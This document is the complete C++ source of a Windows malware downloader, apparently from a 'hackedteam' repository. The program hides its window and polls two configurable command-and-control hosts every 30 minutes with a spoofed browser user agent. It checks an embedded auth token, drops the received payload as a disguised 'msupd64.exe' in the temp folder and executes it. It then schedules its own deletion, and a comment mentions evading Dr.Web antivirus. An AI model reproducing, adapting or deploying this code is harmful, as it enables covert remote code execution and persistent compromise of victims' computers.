hackedteam/vector-recover

View on GitHub
download_exec.cpp

Summary

Maintainability
Test Coverage
#include <Windows.h>
#include <stdio.h>
#include <Winhttp.h>
#include <Shlobj.h>
#include <Urlmon.h>
#include <Shlwapi.h>

#pragma comment(linker, "/SUBSYSTEM:WINDOWS") // bye-bye dr.web :p
#pragma comment(lib, "winhttp")
#pragma comment(lib, "shell32")
#pragma comment(lib, "urlmon")
#pragma comment(lib, "Shlwapi")
#pragma comment(lib, "user32")
#pragma comment(lib, "ws2_32")


#define POLL_TIME 1800000

char bAddress1[] = "ADDRESS1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
char bAddress2[] = "ADDRESS2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
char bAuthToken[] = "3j9WmmDgBqyU270FTid3719g64bP4s52";

unsigned long bBuildId = 0xdeadbee1;
unsigned long bInstanceId = 0xdeadbee2;

wchar_t sAddress1[35]    = {0};
wchar_t sAddress2[35]    = {0};
wchar_t sHttpRsrc[50]    = {0};
wchar_t sUserAgent[] = L"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11";

int poll(wchar_t *host);
void decode_params();

typedef BOOL (WINAPI *CREATEPROC)(
    __in_opt     LPCTSTR lpApplicationName,
    __inout_opt  LPTSTR lpCommandLine,
    __in_opt     LPSECURITY_ATTRIBUTES lpProcessAttributes,
    __in_opt     LPSECURITY_ATTRIBUTES lpThreadAttributes,
    __in         BOOL bInheritHandles,
    __in         DWORD dwCreationFlags,
    __in_opt     LPVOID lpEnvironment,
    __in_opt     LPCTSTR lpCurrentDirectory,
    __in         LPSTARTUPINFO lpStartupInfo,
    __out        LPPROCESS_INFORMATION lpProcessInformation
    );


int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{
    HWND hWnd = GetConsoleWindow();
    ShowWindow(hWnd, SW_HIDE);

    decode_params();

    poll(sAddress1);
    poll(sAddress2);

    while(1)
    {
        Sleep(POLL_TIME);
        poll(sAddress1);
        poll(sAddress2);
    }
}


int poll(wchar_t *host)
{
    STARTUPINFO sinfo = {0};
    PROCESS_INFORMATION pinfo = {0};

    HINTERNET hSession = WinHttpOpen(sUserAgent,
        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
        WINHTTP_NO_PROXY_NAME,
        WINHTTP_NO_PROXY_BYPASS,
        NULL);
    if (!hSession)
        return 0;


    HINTERNET hConnect = WinHttpConnect(hSession,
        host,
        INTERNET_DEFAULT_HTTP_PORT,
        0);
    if (!hConnect)
    {
        WinHttpCloseHandle(hSession);
        return 0;
    }

    HINTERNET hRequest = WinHttpOpenRequest(hConnect,
        L"GET",
        sHttpRsrc,
        NULL,
        WINHTTP_NO_REFERER,
        WINHTTP_DEFAULT_ACCEPT_TYPES,
        WINHTTP_FLAG_BYPASS_PROXY_CACHE|WINHTTP_FLAG_REFRESH);
    if (!hRequest)
    {
        WinHttpCloseHandle(hSession);
        WinHttpCloseHandle(hConnect);
        return 0;
    }

    WinHttpSetTimeouts(hRequest, 20000, 60000, 30000, 30000);

    BOOL ret = WinHttpSendRequest(hRequest,
        WINHTTP_NO_ADDITIONAL_HEADERS ,
        0,
        NULL,
        0,
        0,
        NULL);
    if (!ret)
        goto bailout;

    ret = WinHttpReceiveResponse(hRequest, NULL);
    if (!ret)
        goto bailout;

    DWORD BuffLen = 20;
    LPVOID HttpStatus = new WCHAR[20];
    ret = WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE, WINHTTP_HEADER_NAME_BY_INDEX, HttpStatus, &BuffLen, WINHTTP_NO_HEADER_INDEX);
    if (!ret)
        goto bailout;

    if (memcmp(HttpStatus, "\x32\x00\x30\x00\x30", 5))
        goto bailout;

    ULONG dwAvailableSize, dwReadSize, dwTotalSize;
    LPSTR sDownloadBuffer = (LPSTR)malloc(1024*1024*10);
    memset(sDownloadBuffer, 0x0, 1024*1024*10);
    dwAvailableSize = dwReadSize = dwTotalSize = 0;
    do 
    {
        dwAvailableSize = dwReadSize = 0;
        if (!WinHttpQueryDataAvailable(hRequest, &dwAvailableSize))
        {
            free(sDownloadBuffer);
            goto bailout;
        }
        if (!dwAvailableSize)
            break;

        if (!WinHttpReadData(hRequest, (LPVOID)(sDownloadBuffer+dwTotalSize), dwAvailableSize, &dwReadSize))
        {
            free(sDownloadBuffer);
            goto bailout;
        }

        dwTotalSize += dwReadSize;
    } while (dwAvailableSize > 0);

    if (memcmp(sDownloadBuffer, bAuthToken, 16))
        goto bailout;

    /* download & exec */
    LPSTR TmpPath = (LPSTR)malloc(MAX_PATH);
    memset(TmpPath, 0x0, MAX_PATH);
    if (!GetTempPath(MAX_PATH, TmpPath))
        goto bailout;
    strcat(TmpPath, "\\msupd64.exe");

    HANDLE hFile = CreateFile(TmpPath,
        GENERIC_WRITE,
        0,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);


    ULONG dwWritten = 0;
    WriteFile(hFile, sDownloadBuffer+32, dwTotalSize, &dwWritten, NULL);
    CloseHandle(hFile);

    /*
    URLDownloadToFile(NULL,
        "http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe",
        TmpPath,
        NULL,
        NULL);
    */

    CREATEPROC fpCreateProcess = (CREATEPROC)GetProcAddress(GetModuleHandle("kernel32"), "CreateProcessA");
    fpCreateProcess(NULL,
        TmpPath,
        NULL,
        NULL,
        FALSE,
        0,
        NULL,
        NULL,
        &sinfo,
        &pinfo);


    LPSTR OwnPath = (LPSTR)malloc(MAX_PATH);
    GetModuleFileName(NULL, OwnPath, MAX_PATH);
    MoveFileEx(OwnPath, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);

    ExitProcess(0);

    return 1;

bailout:
    WinHttpCloseHandle(hSession);
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hRequest);

    return 0;
    
}


void decode_params()
{
    LPSTR temp = (LPSTR)malloc(1024);

    /* ip addresses 1 */
    MultiByteToWideChar(CP_ACP,
        0,
        bAddress1,
        strlen(bAddress1),
        sAddress1,
        35);    
    /* ip addresses 2 */
    MultiByteToWideChar(CP_ACP,
        0,
        bAddress2,
        strlen(bAddress2),
        sAddress2,
        35);

    /* URI */
    memset(temp, 0x0, 1024);
    sprintf(temp, "/gh/%u/%x", bBuildId, bInstanceId);
    MultiByteToWideChar(CP_ACP,
        0,
        temp,
        strlen(temp),
        sHttpRsrc,
        25);

    free(temp);
}